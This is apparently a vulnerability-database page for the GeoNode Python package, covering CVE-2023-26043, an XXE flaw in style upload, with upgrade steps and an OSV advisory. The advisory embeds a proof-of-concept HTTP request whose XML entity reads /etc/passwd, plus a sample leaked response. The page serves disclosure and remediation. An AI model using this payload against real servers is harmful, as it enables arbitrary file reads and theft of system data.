Vulnerabilities in pkg:pypi/GeoNode
PACKAGECVE-2023-26043 is a HIGH (CVSS 6.5) geoserver style upload functionality vulnerable vulnerability (CWE-611: Improper Restriction of XML External Entity Reference) affecting GeoNode libraries in the PyPI ecosystem. The issue involves geoserver style upload functionality vulnerable to xml external entity (xxe) injection. Remediation is available by upgrading affected packages to version 4.0.3.
pkg:pypi/GeoNode
Vulnerability advisories affecting package pkg:pypi/GeoNode. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-mcmc-c59m-pqq8 | CVE-2023-26043 | HIGH | GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection |
| GHSA-pxg5-h34r-7q8p | CVE-2023-42439 | HIGH | GeoNode vulnerable to SSRF Bypass to return internal host data |
CVE-2023-26043 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2023-26043
To remediate this vulnerability, upgrade all affected GeoNode dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install GeoNode>=4.0.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show GeoNode
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2023-26043, inspect your installed packages using pip:
pip show GeoNode
Analyze the terminal output to locate any version of GeoNode in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.3), your application is affected.
Note: The pip show GeoNode command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-611: Improper Restriction of XML External Entity Reference, where the product processes an xml document that can contain xml entities with uris that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. In GeoNode, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-26043 Affected GeoNode Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
GeoNode
|
PyPI |
< 4.0.3
|
4.0.3
|
References
Frequently Asked Questions
What is CVE-2023-26043?
Which GeoNode versions are affected?
What version fixes CVE-2023-26043?
Is GeoNode affected?
What is the CVSS score of CVE-2023-26043?
What CWE is associated with CVE-2023-26043?
How can I check PyPI dependencies for CVE-2023-26043?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mcmc-c59m-pqq8",
"modified" : "2024-11-18T16:27:08Z",
"published" : "2024-08-30T18:50:00Z",
"aliases" : [ "CVE-2023-26043" ],
"summary" : "GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection",
"details" : "### Summary\nGeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.\n\n### Details\nGeoNode's GeoServer has the ability to upload new styles for datasets through the [`dataset_style_upload` view](https://github.com/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/urls.py#L70-L72).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159\n@login_required\ndef dataset_style_upload(request, layername):\n def respond(*args, **kw):\n kw['content_type'] = 'text/html'\n return json_response(*args, **kw)\n ...\n sld = request.FILES['sld'].read() # 1\n sld_name = None\n try:\n # Check SLD is valid\n ...\n sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2\n except Exception as e:\n respond(errors=f\"The uploaded SLD file is not valid XML: {e}\")\n name = data.get('name') or sld_name\n set_dataset_style(layer, data.get('title') or name, sld)\n return respond(\n body={\n 'success': True,\n 'style': data.get('title') or name, # 3\n 'updated': data['update']})\n```\n\n`dataset_style_upload` gets a user-provided file (`1`), pass it to `extract_name_from_sld` to extract an element from it (`2`) and return the former in the response (`3`).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234\ndef extract_name_from_sld(gs_catalog, sld, sld_file=None):\n try:\n if sld:\n if isfile(sld):\n with open(sld, \"rb\") as sld_file:\n sld = sld_file.read() # 1\n if isinstance(sld, str):\n sld = sld.encode('utf-8')\n dom = etree.XML(sld) # 2\n ...\n named_dataset = dom.findall(\n \"{http://www.opengis.net/sld}NamedLayer\")\n el = None\n if named_dataset and len(named_dataset) > 0:\n user_style = named_dataset[0].findall(\"{http://www.opengis.net/sld}UserStyle\")\n if user_style and len(user_style) > 0:\n el = user_style[0].findall(\"{http://www.opengis.net/sld}Name\") # 3\n ...\n return el[0].text # 4\n```\n\n`extract_name_from_sld` uses `sld` (which is a path to the provided file), reads it (`1`) and parses it with [`etree.XML`](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1312) in `2`. Since the former uses a [default XMLParser](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1323-L1324), the parsing gets done with the [`resolve_entities` flag set to `True`](https://lxml.de/api/lxml.etree.XMLParser-class.html#:~:text=resolve_entities%3DTrue). Therefore, `dom` handles the parsed XML containing the resolved entity (`2`), gets `NamedLayer.UserStyle.Name` in `3` and returns the resolved content in `4`.\n\n### PoC\n1. Create a guest/non-privileged account and log in.\n1. Upload a dataset through `/catalogue/#/upload/dataset` whose name we will be referencing as `<DATASET_NAME>`.\n1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of `/etc/passwd`:\n\n```\nPOST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1\nHost: localhost\nCookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>\nX-Csrftoken: <CSRF-TOKEN>\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo\nContent-Length: 485\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"layerid\"\n1\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"sld\"; filename=\"foo.sld\"\nContent-Type: application/octet-stream\n<?xml version=\"1.0\" standalone=\"yes\"?>\n<!DOCTYPE foo [ <!ENTITY ent SYSTEM \"/etc/passwd\" > ]>\n<foo xmlns=\"http://www.opengis.net/sld\">\n <NamedLayer>\n <UserStyle>\n \t<Name>&ent;</Name>\n </UserStyle>\n </NamedLayer>\n</foo>\n------WebKitFormBoundaryfoo--\n```\n\nSample response:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.23.2\n...\n{\"success\": true, \"style\": \"root:x:0:0:root:/root:/bin/bash...\", \"updated\": false}\n```\n\n\n### Impact\nThis issue may lead to authenticated `Arbitrary File Read`.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "GeoNode"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.0.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/GeoNode/geonode/security/advisories/GHSA-mcmc-c59m-pqq8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-26043"
}, {
"type" : "WEB",
"url" : "https://github.com/GeoNode/geonode/commit/2fdfe919f299b21f1609bf898f9dcfde58770ac0"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/GeoNode/geonode"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2023-15.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-611" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-08-30T18:50:00Z",
"nvd_published_at" : "2023-02-27T21:15:12Z"
}
}